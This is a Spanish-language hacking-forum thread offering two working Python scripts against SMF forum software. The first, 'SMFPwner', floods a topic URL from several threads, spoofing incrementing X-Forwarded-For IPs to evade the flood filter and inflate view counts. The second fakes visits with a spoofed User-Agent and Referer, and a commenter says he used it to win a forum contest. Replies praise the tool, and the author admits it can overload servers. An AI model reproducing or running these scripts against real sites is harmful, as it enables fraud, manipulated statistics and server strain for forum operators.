Underc0de

Programación Scripting => Python => Mensaje iniciado por: hielasangre en Agosto 21, 2014, 10:49:25 PM

Título: SMF Incorrect Flood Filter Headers
Publicado por: hielasangre en Agosto 21, 2014, 10:49:25 PM
(http://i61.tinypic.com/161gbj7.png)

(http://i62.tinypic.com/rvd74g.png)

(http://i60.tinypic.com/2w7i92u.png)

(http://i58.tinypic.com/2cnzfhf.png)

Código (python) [Seleccionar]

#!/usr/bin/python
# RemoteExecution
#Autor: Daniel Godoy A.K.A hielasangre

import sys, threading, time, urllib2,re
print "Ingrese URL: "
url = raw_input()
a = b = c = d = 1
count = 0
class SMFPwner(threading.Thread):
  def __init__(self, num):
      threading.Thread.__init__(self)
      self.num = num     
  def run(self):
    while 1:
        global a,b,c,d,count, url
        data = ""
        while 1:
            while 1:
                if d!=250:
                    d+=1
                else:
                    if c!= 250:
                        c+=2
                        d=0
                    else:
                        if b!=250:
                            c=0
                            d=0
                            b+=1
                        else:
                            a+=1
                            b=0
                            c=0
                            d=0
                head = str(a)+'.'+str(b)+'.'+str(c)+'.'+str(d)
                headers = { 'X-Forwarded-For' : head }
                req = urllib2.Request(url, data, headers)
                f = urllib2.urlopen(req)
                count += 1
                print "[ Visitando => " + url + " Por " + str(count) +" vez ]"
for i in range(3):   
ta = SMFPwner(i)
ta.start()


Si bien no es una vulnerabilidad comprometedora, nos permite promocionar entre los primeros puestos (estadísticas) a nuestros posts, de manera arbitraria... Lo cual al menos, resulta divertido.

Fuente: http://foro.remoteexecution.net
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: ANTRAX en Agosto 21, 2014, 10:56:42 PM
Muy bueno hielasangre!!
Te hago una pregunta, esto genera sobrecarga en el servidor?

Abrazo!
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: hielasangre en Agosto 21, 2014, 11:17:49 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy bueno hielasangre!!
Te hago una pregunta, esto genera sobrecarga en el servidor?

Abrazo!
Todo depende de como este configurado, pero si porque son múltiples conexiones! Igual, si tenes un cloudflare en el medio lo mitiga automáticamente :)
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: chivo en Agosto 21, 2014, 11:39:37 PM
Gracias puedo usar el codigo para hacer una aplicacion claro coloco tu credito. Y te paso por MP el source final.
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: hielasangre en Agosto 21, 2014, 11:42:30 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si bien no es una vulnerabilidad comprometedora, nos permite promocionar entre los primeros puestos (estadísticas) a nuestros posts, de manera arbitraria... Lo cual al menos, resulta divertido.

No lo tomo como insulto, pero ahí lo respondí. Yo mismo se que es inútil, es verdad quizás el post debería ser borrado.. A lo mejor perdí mi tiempo no lo se, pero a lo mejor a otro le guste... En fin es cuestión de gustos! Lo use para un PoC

Como dije, todo va en cada uno.. http://es.1337day.com/exploit/description/15699


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias puedo usar el codigo para hacer una aplicacion claro coloco tu credito. Y te paso por MP el source final.


Dale que va, no interesan los creditos! Lo que interesa es que te sea útil!
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: $francisco en Agosto 22, 2014, 08:05:10 PM
Creo que cualquier código es de agradecer, una cosa que no entendí, ¿que es la cabecera X-Forwarded-For?
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: hielasangre en Agosto 22, 2014, 08:26:23 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Creo que cualquier código es de agradecer, una cosa que no entendí, ¿que es la cabecera X-Forwarded-For?

http://en.wikipedia.org/wiki/X-Forwarded-For
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: elrodrix en Agosto 23, 2014, 09:02:00 AM
Grande dani. Gracias por compartir. Y como decia un gran amigo mio, "a la gilada ni cabida, yo la miro desde arriba".
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: Snifer en Agosto 23, 2014, 09:15:52 AM
Ya lo probe :3 xD jajajaj interesante el script mil maneras de trollear :D

PD: Lo piratee para mi blog! ;)

Regards,
Snifer
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: Once en Agosto 23, 2014, 01:46:04 PM
Genial brother, esto lo usé hace algún tiempo para ganar un concurso en otro foro. Aunque no es necesario complicarse con el X-Forwarded-For, este es el code que usé (lo probé acá en Underc0de y aún funciona) por si le sirve a alguien más para algo.

Código (python) [Seleccionar]

import time
import urllib2


class Pvisits(object):
    def __init__(self, url, nvisitas, delay=0):
        headers = {
            "Referer": url,
            "User-Agent": "Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00",
        }
   
        for x in xrange(nvisitas):
            time.sleep(delay)
            request = urllib2.Request(url, headers=headers)
            obj_web = urllib2.urlopen(request)
            codigo = obj_web.code
            if codigo == 200:
                print obj_web.geturl(), codigo, nvisitas - x
            elif codigo >= 400:
                print "Ocurrio un error:", codigo
                return


Pvisits("http://underc0de.org/foro/index.php?topic=22799.0", 20, 0)


Saludos!
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: hielasangre en Agosto 23, 2014, 02:33:47 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Genial brother, esto lo usé hace algún tiempo para ganar un concurso en otro foro. Aunque no es necesario complicarse con el X-Forwarded-For, este es el code que usé (lo probé acá en Underc0de y aún funciona) por si le sirve a alguien más para algo.

Código (python) [Seleccionar]

import time
import urllib2


class Pvisits(object):
    def __init__(self, url, nvisitas, delay=0):
        headers = {
            "Referer": url,
            "User-Agent": "Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00",
        }
   
        for x in xrange(nvisitas):
            time.sleep(delay)
            request = urllib2.Request(url, headers=headers)
            obj_web = urllib2.urlopen(request)
            codigo = obj_web.code
            if codigo == 200:
                print obj_web.geturl(), codigo, nvisitas - x
            elif codigo >= 400:
                print "Ocurrio un error:", codigo
                return


Pvisits("http://underc0de.org/foro/index.php?topic=22799.0", 20, 0)


Saludos!

OPAAAAA :D Muy bueno! Hay que estudiar mas SMF me parece entonces :P
Título: Re:SMF Incorrect Flood Filter Headers
Publicado por: blackdrake en Agosto 23, 2014, 08:53:21 PM
Muy buen aporte, como dice hielasangre, me parece que vamos a tener que estudiar mas smf jajaja